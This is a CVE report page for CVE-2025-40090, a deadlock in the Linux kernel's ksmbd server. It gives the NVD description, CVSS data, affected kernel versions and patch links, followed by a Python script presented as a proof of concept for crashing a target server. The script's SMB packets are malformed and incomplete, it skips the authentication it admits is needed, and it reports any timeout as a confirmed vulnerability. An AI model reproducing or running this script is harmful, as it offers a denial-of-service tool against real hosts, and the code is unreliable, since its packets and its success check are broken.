Security Vulnerability Report
中文
CVE-2025-40090 CVSS 5.5 MEDIUM

CVE-2025-40090

Published: 2025-10-30 10:15:34
Last Modified: 2026-02-26 15:51:31
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix recursive locking in RPC handle list access Since commit 305853cce3794 ("ksmbd: Fix race condition in RPC handle list access"), ksmbd_session_rpc_method() attempts to lock sess->rpc_lock. This causes hung connections / tasks when a client attempts to open a named pipe. Using Samba's rpcclient tool: $ rpcclient //192.168.1.254 -U user%password $ rpcclient $> srvinfo <connection hung here> Kernel side: "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:kworker/0:0 state:D stack:0 pid:5021 tgid:5021 ppid:2 flags:0x00200000 Workqueue: ksmbd-io handle_ksmbd_work Call trace: __schedule from schedule+0x3c/0x58 schedule from schedule_preempt_disabled+0xc/0x10 schedule_preempt_disabled from rwsem_down_read_slowpath+0x1b0/0x1d8 rwsem_down_read_slowpath from down_read+0x28/0x30 down_read from ksmbd_session_rpc_method+0x18/0x3c ksmbd_session_rpc_method from ksmbd_rpc_open+0x34/0x68 ksmbd_rpc_open from ksmbd_session_rpc_open+0x194/0x228 ksmbd_session_rpc_open from create_smb2_pipe+0x8c/0x2c8 create_smb2_pipe from smb2_open+0x10c/0x27ac smb2_open from handle_ksmbd_work+0x238/0x3dc handle_ksmbd_work from process_scheduled_works+0x160/0x25c process_scheduled_works from worker_thread+0x16c/0x1e8 worker_thread from kthread+0xa8/0xb8 kthread from ret_from_fork+0x14/0x38 Exception stack(0x8529ffb0 to 0x8529fff8) The task deadlocks because the lock is already held: ksmbd_session_rpc_open down_write(&sess->rpc_lock) ksmbd_rpc_open ksmbd_session_rpc_method down_read(&sess->rpc_lock) <-- deadlock Adjust ksmbd_session_rpc_method() callers to take the lock when necessary.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.18:rc1:*:*:*:*:*:* - VULNERABLE
Linux kernel ksmbd (commit 305853cce3794引入的版本)
ksmbd < 修复版本 (commits 1891abe832, 3412fbd81, 4602b8cee, 5493571f, 88f170814)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-40090 PoC - ksmbd Deadlock Vulnerability This PoC demonstrates the deadlock vulnerability in Linux kernel ksmbd module. Triggered when a client attempts to open a named pipe with recursive locking issue. """ import socket import struct import time def create_smb2_negotiate_request(): """Create SMB2 NEGOTIATE request packet""" # SMB2 Header protocol_id = b'\xfe\x53\x4d\x42' # SMB2 signature header = bytearray(64) struct.pack_into('<I', header, 0, 0x424d53fe) # Protocol ID struct.pack_into('<H', header, 16, 0x0000) # Negotiate request struct.pack_into('<H', header, 18, 1) # Credit request struct.pack_into('<I', header, 28, 0x24) # Byte count return bytes(header) def create_pipe_open_request(): """ Create SMB2 CREATE request for named pipe This triggers the deadlock in ksmbd_session_rpc_open -> ksmbd_rpc_open -> ksmbd_session_rpc_method """ pipe_name = b'\\\\pipe\\\\srvsvc\x00' # Named pipe path request = bytearray(64 + len(pipe_name)) struct.pack_into('<H', request, 44, 0x05) # CREATE request # File name offset and length struct.pack_into('<H', request, 44, len(pipe_name)) return bytes(request) def trigger_deadlock(target_ip, target_port=445): """ Trigger the deadlock vulnerability Note: This PoC requires valid SMB authentication to trigger the full attack chain """ print(f"[*] Connecting to {target_ip}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send NEGOTIATE request negotiate_req = create_smb2_negotiate_request() sock.send(negotiate_req) print("[+] Sent SMB2 NEGOTIATE request") # Send CREATE request for named pipe # This will trigger the deadlock in ksmbd pipe_req = create_pipe_open_request() sock.send(pipe_req) print("[+] Sent pipe open request - deadlock should occur") # Wait for response (will hang if vulnerability is present) print("[*] Waiting for response...") sock.settimeout(5) try: response = sock.recv(1024) print(f"[!] Received unexpected response: {len(response)} bytes") except socket.timeout: print("[!] Connection timed out - deadlock vulnerability confirmed!") return True except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() # Alternative: Use Samba's rpcclient (as mentioned in CVE description) # rpcclient //192.168.1.254 -U user%password # rpcclient $> srvinfo if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-40090-poc.py <target_ip>") sys.exit(1) trigger_deadlock(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40090", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-30T10:15:33.537", "lastModified": "2026-02-26T15:51:30.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix recursive locking in RPC handle list access\n\nSince commit 305853cce3794 (\"ksmbd: Fix race condition in RPC handle list\naccess\"), ksmbd_session_rpc_method() attempts to lock sess->rpc_lock.\n\nThis causes hung connections / tasks when a client attempts to open\na named pipe. Using Samba's rpcclient tool:\n\n $ rpcclient //192.168.1.254 -U user%password\n $ rpcclient $> srvinfo\n <connection hung here>\n\nKernel side:\n \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n task:kworker/0:0 state:D stack:0 pid:5021 tgid:5021 ppid:2 flags:0x00200000\n Workqueue: ksmbd-io handle_ksmbd_work\n Call trace:\n __schedule from schedule+0x3c/0x58\n schedule from schedule_preempt_disabled+0xc/0x10\n schedule_preempt_disabled from rwsem_down_read_slowpath+0x1b0/0x1d8\n rwsem_down_read_slowpath from down_read+0x28/0x30\n down_read from ksmbd_session_rpc_method+0x18/0x3c\n ksmbd_session_rpc_method from ksmbd_rpc_open+0x34/0x68\n ksmbd_rpc_open from ksmbd_session_rpc_open+0x194/0x228\n ksmbd_session_rpc_open from create_smb2_pipe+0x8c/0x2c8\n create_smb2_pipe from smb2_open+0x10c/0x27ac\n smb2_open from handle_ksmbd_work+0x238/0x3dc\n handle_ksmbd_work from process_scheduled_works+0x160/0x25c\n process_scheduled_works from worker_thread+0x16c/0x1e8\n worker_thread from kthread+0xa8/0xb8\n kthread from ret_from_fork+0x14/0x38\n Exception stack(0x8529ffb0 to 0x8529fff8)\n\nThe task deadlocks because the lock is already held:\n ksmbd_session_rpc_open\n down_write(&sess->rpc_lock)\n ksmbd_rpc_open\n ksmbd_session_rpc_method\n down_read(&sess->rpc_lock) <-- deadlock\n\nAdjust ksmbd_session_rpc_method() callers to take the lock when necessary."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.53", "versionEndExcluding": "6.12.55", "matchCriteriaId": "E4EB1667-C055-4880-911F-BD74B6375984"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.3", "versionEndExcluding": "6.17.5", "matchCriteriaId": "99358CF3-A8B9-4638-A2ED-6200D3371019"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.18:rc1:*:*:*:*:*:*", "matchCriteriaId": "DD01661D-DFC8-4B6D-80E7-46D203CC4565"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1891abe832cbf5a11039e088766131d0f1642d02", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3412fbd81b46b9cfae013817b61d4bbd27e09e36", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4602b8cee1481dbb896182e5cb1e8cf12910e9e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5493571f4351f74e11db9943e98a07c56467cf7e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/88f170814fea74911ceab798a43cbd7c5599bed4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}